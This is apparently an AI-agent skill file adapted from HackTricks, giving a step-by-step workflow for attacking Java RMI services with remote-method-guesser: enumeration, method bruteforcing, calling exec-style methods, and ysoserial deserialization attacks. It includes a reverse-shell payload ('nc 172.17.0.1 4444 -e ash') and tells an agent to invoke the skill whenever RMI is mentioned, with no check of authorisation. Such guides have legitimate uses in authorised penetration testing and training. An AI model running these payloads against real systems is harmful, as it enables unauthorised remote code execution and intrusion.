Hacktricks-skills java-rmi-pentesting
Pentest Java RMI (Remote Method Invocation) services on ports 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999. Use this skill whenever the user mentions Java RMI, RMI registry, remote method invocation, JMX RMI, or needs to enumerate/exploit Java RMI services. This skill covers enumeration with remote-method-guesser, method signature bruteforcing, deserialization attacks, and known vulnerability checks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/1099-pentesting-java-rmi/SKILL.MDJava RMI Pentesting
Java Remote Method Invocation (RMI) is an object-oriented RPC mechanism that allows objects in one Java VM to call methods on objects in another Java VM. From a security perspective, RMI services are common attack vectors due to insecure deserialization, exposed methods, and misconfigurations.
Quick Start
When you encounter a Java RMI service, follow this workflow:
- Enumerate the RMI registry and bound names
- Guess methods on exposed services
- Exploit identified vulnerabilities (deserialization, RCE methods, etc.)
Common Ports
# Default RMI ports to check 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999
Note: Remote objects often bind to random high ports. Check nmap output for
java-rmi or ssl/java-rmi services.
Step 1: Enumerate RMI Services
Use
remote-method-guesser (rmg) to enumerate the RMI registry:
# Basic enumeration rmg enum {TARGET_IP} {PORT} # Example rmg enum 172.17.0.2 9010
This reveals:
- Bound names - Human-readable names for RMI services
- Class names - Implemented interfaces/classes
- Endpoints - IP:port where objects listen
- Vulnerabilities - CVE-2019-2684, JEP290 bypass, deserialization issues
- Codebase URLs - Where classes are loaded from
Key Enumeration Outputs to Watch For
| Finding | Meaning | Action |
|---|---|---|
on CVE-2019-2684 | Localhost bypass possible | Exploit with rmg |
| Deserialization filter bypass | Use rmg serial |
| Unsafe deserialization | Craft gadget chains |
| Server parses codebase | Potential RCE |
| Protection enabled | May need bypass |
Step 2: Analyze ObjID for Service Uptime
ObjID values can reveal when a service started:
rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
This shows the timestamp when the RMI object was created, helping identify:
- Service restarts
- Deployment changes
- Correlation with other vulnerabilities
Step 3: Bruteforce Remote Methods
Even without identified vulnerabilities, RMI services may expose dangerous methods. RMI doesn't support method enumeration, so bruteforce is necessary:
# Guess methods on all bound services rmg guess {TARGET_IP} {PORT} # Example output shows discovered methods: # [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! # [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
Method Guessing Strategy
- Run
to discover method signaturesrmg guess - Look for dangerous method names:
,execute
,system
,eval
,run
,loginupload - Check parameter types for injection points (String, HashMap, Object)
Step 4: Exploit Identified Methods
Call Discovered Methods
# Execute a discovered method rmg call {TARGET_IP} {PORT} '{ARGUMENT}' \ --bound-name '{SERVICE_NAME}' \ --signature '{METHOD_SIGNATURE}' \ --plugin GenericPrint.jar # Example rmg call 172.17.0.2 9010 '"id"' \ --bound-name plain-server \ --signature "String execute(String dummy)" \ --plugin GenericPrint.jar
Deserialization Attacks
When deserialization is possible, use ysoserial gadgets:
# Deserialization attack with CommonsCollections6 rmg serial {TARGET_IP} {PORT} CommonsCollections6 '{PAYLOAD}' \ --bound-name '{SERVICE_NAME}' \ --signature '{METHOD_SIGNATURE}' # Example rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' \ --bound-name plain-server \ --signature "String execute(String dummy)"
Common Gadgets
- Most reliable, works on many versionsCommonsCollections6
- Alternative for older JavaCommonsCollections5
- For very old Java versionsJdk7u2
- JEP290 bypass gadgetAnTrinh
Step 5: Known Interface Exploitation
If rmg identifies a known class (e.g., JMX Server), use the
known action:
# Get details on known RMI classes rmg known javax.management.remote.rmi.RMIServerImpl_Stub
JMX Server Exploitation
JMX RMI services often expose:
- MLet MBean - Dynamic MBean loading = RCE
- Deserialization - Even after CVE-2016-3427, RMIConnection is unfiltered
Use beanshooter for JMX exploitation.
Step 6: Search for Source Code
Use bound names and class names to search:
# Search GitHub for the interface site:github.com "de.qtc.rmg.server.interfaces.IPlainServer" # Search for bound names site:github.com "plain-server" "RMI"
Finding source code reveals:
- All available methods
- Authentication bypasses
- Hardcoded credentials
- Additional vulnerabilities
Tools Reference
| Tool | Purpose | Command |
|---|---|---|
| remote-method-guesser | Full RMI pentesting suite | `rmg enum |
| rmiscout | Method bruteforcing | |
| BaRMIe | RMI enumeration | |
| beanshooter | JMX exploitation | |
Common Vulnerabilities
CVE-2019-2684 (Localhost Bypass)
RMI registry allows unbind operations that bypass localhost restrictions.
Check:
rmg enum shows Vulnerable on localhost bypass enumeration
Exploit: Use rmg with appropriate payload
JEP290 Bypass
JEP290 added deserialization filters, but many implementations have bypasses.
Check:
rmg enum shows JEP290 bypass: Vulnerable
Exploit: Use
rmg serial with AnTrinh or other bypass gadgets
Insecure Deserialization
Custom RMI services often lack deserialization filters.
Check:
rmg enum shows Deserialization allowed
Exploit: Use
rmg serial with ysoserial gadgets
Workflow Summary
# 1. Enumerate rmg enum {IP} {PORT} # 2. Check ObjID for uptime rmg objid '{OBJID}' # 3. Guess methods rmg guess {IP} {PORT} # 4. Call dangerous methods rmg call {IP} {PORT} '{ARG}' --bound-name '{NAME}' --signature '{SIG}' # 5. Deserialization attacks rmg serial {IP} {PORT} CommonsCollections6 '{PAYLOAD}' --bound-name '{NAME}' --signature '{SIG}' # 6. Known interfaces rmg known '{CLASS_NAME}'
Tips
- Always enumerate first - Don't skip the
steprmg enum - Check all ports - RMI objects bind to random ports
- Look for codebase URLs - These often reveal internal paths
- Search GitHub - Bound names and class names are often unique
- Try multiple gadgets - Different Java versions need different payloads
- Use GenericPrint.jar - For testing method calls without side effects